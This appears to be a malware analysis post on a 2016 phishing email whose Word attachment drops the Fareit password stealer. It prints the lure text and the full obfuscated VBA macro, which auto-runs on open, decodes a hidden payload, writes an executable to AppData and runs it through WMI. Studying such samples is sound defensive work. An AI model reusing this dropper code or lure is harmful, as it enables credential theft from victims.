The following email was received by a client (email domain redacted to “<DOMAIN>”), with an attachment named “<DOMAIN>_contract.doc”:
From: jiazw@neusoft.com [mailto:jiazw@neusoft.com]
Sent: Wednesday, July 13, 2016 9:29 AM
To: <EMPLOYEE NAME>
Subject: Re: <DOMAIN> contract
I have attached our contract.
Please check it and let me know if you want to add any changes.
Thank you
Jiazhi Williams
Neusoft America Inc.
P: 408.0146124
F: 408.8865348
As expected, this one is yet another Word macro that looks like this:
This document is protected
1 Open the document in Microsoft Office. Previewing online is not available for protected documents.
2 If this document was downloaded from your email, please click “Enable Editing” from the yellow bar above.
3 Once you have enabled editing, please click “Enable Content” from the yellow bar above.
This one was yet again obfuscated VBscript that I didn’t feel like cleaning up (code included below). According to Windows Defender, a file was created that was flagged as “PWS:Win32/Fareit”.
The following error occurred: Error code 0x80508023. The program could not find the malware and other potentially unwanted software on this computer.
Category: Password Stealer
Description: This program is dangerous and captures user passwords.
Recommended action: Remove this software immediately.
Items:
file:C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\3IDCVV6R\pm[1].dllGet more information about this item online.
Forms – Leptinotarsa
Private Sub UserForm_Scroll(ByVal ActionX As MSForms.fmScrollAction, ByVal ActionY As MSForms.fmScrollAction, ByVal RequestDx As Single, ByVal RequestDy As Single, ByVal ActualDx As MSForms.ReturnSingle, ByVal ActualDy As MSForms.ReturnSingle) epistle = dyspeptic.epicure conveyance = Sqr(epistle) conveyance = Round(conveyance) Do While conveyance <> 50 dyspeptic.alosa conveyance = conveyance + 1 Loop End Sub
Microsoft Word Objects – ThisDocument
Sub pegs(undrained) Dim kwakiutl As Variant Dim damusque As Variant Dim phiz As Variant alectura = alectura / 89 eyes = Lcase("Bl") & Mid("sottishennysubornation", 8, 4) Close #undrained novus = Right("chironomidaenonc", 4) + Mid("concordanceompliaascendant", 12, 6) + "nce" End Sub Sub CommentsCollectionObject() Dim MyText As String Dim MyRange As Object Set MyRange = ActiveDocument.Range MyText = "<Replace this with your text>" ' Selection Example: Selection.Comments.Add Range:=Selection.Range, Text:=MyText ' Range Example: MyRange.Comments.Add Range:=Selection.Range, Text:=MyText End Sub Sub PrintAll() Dim aDoc As Document For Each aDoc In Documents aDoc.PrintOut Next End Sub Function permitted(coloratura) As String Dim blazing(63) As Long Dim archangel() As Byte Dim moll As Integer novus = StrReverse("ef") + "nder" Dim ireland(255) As Byte bureaucrat = bureaucrat Xor 430 Dim coelogyne As Long Dim genip As String Dim consecrated As Long Dim calculation As Long Dim freeforall(63) As Long Dim barbarity(63) As Long Dim fasciculated() As Byte Dim paretic As Long boom = 4032 balkiness = 16711680 earner = 65536 abolitionist = 65280 soigne = 262144 situated = 37 + 58 - 75 + 258028 acted = 16515072 astronaut = 18 - 42 - 44 + 4164 andean = 85 - 102 + 80 darlingtonia = 64 hang = 66 + 189 pipile = 23 + 233 Dim meaningful As String Dim cleaner() As Byte cleaner = StrConv(coloratura, vbFromUnicode) Dim heartgrief As Variant For Click = 0 To UBound(cleaner) cleaner(Click) = cleaner(Click) + 2 Xor 11 Next Click riskfree = 72 + 105 - 170 Select Case riskfree Case 1 To 10 khana = StrReverse("omo") & Left("phagiuncoordinated", 5) & Left("cparoles", 1) effectuate = "la" & Ucase("Te") flash = bitterroot Case 11 anestrus = anestrus - 294 Case 13 hegoat = Right("klanma", 2) & Mid("cumulationttrecoadjuvant", 11, 4) curio = Left("aminchirology", 4) & Lcase("OACIDUria") hearken = palish End Select bronchocele = StrConv(cleaner, vbUnicode) moll = 2 buccinidae = 122 For consecrated = 0 To 255 Select Case consecrated Case 65 To 90 ireland(consecrated) = consecrated - 65 Case 97 To buccinidae ireland(consecrated) = consecrated - 71 Case 48 To 57 ireland(consecrated) = consecrated + 89 - 32 + 57 - 110 Case 43 ireland(consecrated) = 62 Case 47 ireland(consecrated) = 63 End Select Next consecrated For consecrated = 0 To 63 freeforall(consecrated) = consecrated * darlingtonia barbarity(consecrated) = consecrated * astronaut blazing(consecrated) = consecrated * soigne Next consecrated fasciculated = StrConv(bronchocele, vbFromUnicode) anteroom = 73 - 69 ReDim archangel((((UBound(fasciculated) + 1) \ anteroom) * 3) - 1) For paretic = 0 To UBound(fasciculated) Step 4 chelate = fasciculated(paretic) bufo = 3 calculation = blazing(ireland(chelate)) + barbarity(ireland(fasciculated(paretic + 1))) + _ freeforall(ireland(fasciculated(paretic + 2))) + ireland(fasciculated(paretic + bufo)) consecrated = calculation And balkiness archangel(coelogyne) = consecrated \ earner consecrated = calculation And abolitionist archangel(coelogyne + 1) = consecrated \ pipile archangel(coelogyne + 2) = calculation And hang coelogyne = coelogyne + 3 Next paretic genip = StrConv(archangel, vbUnicode) If moll Then genip = Left$(genip, Len(genip) - moll) permitted = genip End Function Public Sub AutoOpen() Dim blessed As String Dim astonishing As Variant anestrus = anestrus \ 244 Dim whack As Integer Dim god As Long whack = 19 Mod (3) phosphoprotein = "mestizo" If whack < 46 - 72 - 384 Then alectura = alectura * 1 CommentsCollectionObject Else Dim quickening As Variant leptinotarsa.Scroll fmScrollActionNoChange, fmScrollActionEnd microfiche = 69 tetanus = 75 If microfiche + tetanus < 14 Then microfiche = Left("hypsimultaneously", 3) & "ervent" & Mid("waiterilationhippophagy", 7, 7) dekko = Right("cholineev", 2) + Mid("sarsaparillaanascdevon", 13, 5) + Right("distingueence", 4) Else tetanus = 94 End If End If End Sub
Modules – Dyspeptic
Dim anestrus Dim bureaucrat As Long Dim catalatic Dim alectura As Long Dim phosphoprotein As String Dim novus Sub ToggleTextBoundaries() If Documents.Count > 0 Then With ActiveDocument.ActiveWindow.View .ShowTextBoundaries = Not .ShowTextBoundaries End With End If End Sub Function elision(below) Dim austereness As Long Dim kiosk As String Dim chemiluminescence As String winteraceae = StrConv(below, 109 + 4 + 15) despumate = pretext badv = mousy elision = winteraceae End Function Sub appropriate(westerly, tonsure) Dim acculturational As String Dim cassocked As String bureaucrat = bureaucrat * 1 Open westerly For Binary Access Read Write As #tonsure novus = StrReverse("inam") & Mid("onesleffestationaminomethane", 8, 9) End Sub Sub chastened(emporium, georgette, dementat) Dim consumable As Integer Dim minefield() As Byte Dim refero As Integer minefield = elision(emporium) codon = biplane mbabane = dementat Put #mbabane, , minefield End Sub Function messily(doggerel) agranulocytic = 45 + 19 Select Case agranulocytic Case 64 To 71 anestrus = anestrus - 85 days = Ucase("wi") + Right("andromedanmgmt", 5) + "s:\\" phosphoprotein = Lcase("IN") & Right("pantyhosesola", 4) & Left("tiondefaced", 4) deputies = StrReverse("or\.") + Lcase("OT\cImV2") Case 34 To 37 Dim reductive As Variant novus = "ste" + Ucase("RcorAR") + Ucase("iUs") anestrus = anestrus * 3 End Select phosphoprotein = Left("grsouthernness", 2) & Ucase("umbl") & Mid("elecampaneepeacekeeper", 11, 1) Set illustrative = GetObject(days + deputies) peine = Ucase("WiN") + Right("berry32_Process", 10) Set enured = illustrative.Get(peine) Set adit = enured.Methods_ bureaucrat = bureaucrat Mod 315 implicational = Ucase("cR") + Ucase("Eate") novus = Mid("margarinapforwards", 9, 2) & StrReverse("vorp") & StrReverse("la") computer = 12 - 89 + 129 Select Case computer Case 17 To 23 Dim kidnapping As String catalatic = "pop" phosphoprotein = Ucase("INT") + Lcase("ENtioN") + Mid("tramperallymultangular", 8, 4) Case 52 To 57 anestrus = anestrus / 322 Set minikin = adit(implicational).InParameters.Spawninstance_ novus = Right("conscriptiondr", 2) & "iven" minikin.CommandLine = doggerel End Select bun = tan(50) If bun <> 51 Then illustrative.ExecMethod peine, implicational, minikin Else phosphoprotein = "cardroom" End If End Function Sub SortText() ' A macro to sort the selected text, if the user has selected ' more than one paragraph If Documents.Count > 0 Then ' The user has at least one document open. If Selection.Paragraphs.Count > 1 Then ' The user has selected more than one paragraph ' of text, so sort it. Selection.Sort Else ' Tell the user what to do. MsgBox "Please select two or more paragraphs and try again." End If End If End Sub Function epicure() Dim silurus As Long Dim casing As String closegrained = 54 + 123 + 100 + 9723 anestrus = anestrus + 168 catalatic = Lcase("cOB") & Right("carburetoraltit", 5) & Mid("crenulateeaddlepated", 10, 1) Dim brainpan As String burked = 96 - 29 + 120 - 87 alectura = alectura Mod 401 Dim capuchin As Integer usurious = DDB(closegrained, burked, 5, 2) alectura = alectura And 285 epicure = usurious End Function Sub alosa() anestrus = anestrus / 329 enchant = "misdemeanor" Dim deciduous As String bureaucrat = bureaucrat Xor 450 slovenry = 63 Select Case slovenry Case 63 To 81 alectura = alectura / 233 Dim bereft As String deciduous = extravaganza Dim spellbound As Integer Case 23 To 28 Dim amends As Integer alectura = alectura + 450 bureaucrat = bureaucrat + 347 Case 15 To 17 Dim paragrapher As Long bureaucrat = bureaucrat - 484 anestrus = anestrus And 391 End Select collegian = tan(79) If collegian <> 52 Then bereft = deciduous + Mid("tiger\dconnu", 6, 2) + Ucase("yBBu") + Mid("entandrophragmak.exeagreeableness", 16, 5) fearless = "ex" & Lcase("ORAB") & Right("delegatele", 2) Else alectura = alectura + 468 End If prottagonist = tan(73) If prottagonist <> 71 Then curcuitous = FreeFile catalatic = "sanctus" slade = 33 + 2 - 102 + 67 Else bureaucrat = bureaucrat And 158 End If anestrus = anestrus + 261 eyot = slade appropriate bereft, curcuitous passions = leptinotarsa.endocrinology phosphoprotein = "purchaser" taxicoach = passions bureaucrat = bureaucrat + 55 attenuated = ThisDocument.permitted(taxicoach) inveterate = StrReverse("lb") + "eed" bellyband = gulfweed dictate = holloa mobcap = 119 + 11 - 53 Select Case mobcap Case 77 To 81 catalatic = "selfluminous" communication = Len(attenuated) Dim electrolyze As Long anestrus = anestrus + 171 Case 37 To 43 Dim aryan As Byte novus = "sesqui" anestrus = anestrus * 1 End Select phosphoprotein = Right("patriarchyre", 2) + Ucase("tren") + Ucase("Ch") anestrus = anestrus \ 98 abridger = 7 + 16 + 49 - 14 Select Case abridger Case 58 To 67 bureaucrat = bureaucrat - 135 dyspeptic.chastened attenuated, eyot, curcuitous novus = "billboard" Case 36 To 41 Dim shoreless As Long novus = "archidiskidon" catalatic = Ucase("PR") & Lcase("OwEs") & Ucase("S") Case 20 To 24 Dim attitudinize As Byte alectura = alectura * 1 phosphoprotein = Mid("desmidaecuneiform", 7, 2) & Mid("ognirostaticmaser", 5, 8) End Select acaulescent = 17 - 13 + 68 Select Case acaulescent Case 72 To 79 anestrus = anestrus / 357 novus = Lcase("co") & "bble" & Mid("unattestedrnormalness", 11, 1) center = curcuitous ThisDocument.pegs center Case 24 To 25 Dim nutbrown As Integer catalatic = "bi" + Left("bliopoledolichocephalic", 8) alectura = alectura Xor 205 Case 27 To 30 Dim daredevil As Variant bureaucrat = bureaucrat \ 65 catalatic = Lcase("eD") & Mid("potteryucataerology", 8, 4) & "e" End Select phosphoprotein = Mid("notabilityabdoteleprompter", 11, 4) & StrReverse("csonim") & StrReverse("ypo") dissuaded = tan(68) If dissuaded <> 51 Then phosphoprotein = Ucase("CL") + StrReverse("rogna") messily bereft Else anestrus = anestrus - 282 End If End Sub Function extravaganza() Dim debased As String Dim bonze As Variant mezereum = Ucase("aP") + "pDat" + Right("circumfusea", 1) anestrus = anestrus And 499 Dim danaea As Byte aplysia = Environ(mezereum) alectura = alectura Mod 101 temperize = Left("noncosmolatry", 3) & StrReverse("ahtel") & Left("lgaum", 1) extravaganza = aplysia phosphoprotein = Mid("scadssuassimilation", 6, 2) + Left("bspapluralistic", 4) + Mid("unguiculatecefulfill", 12, 2) End Function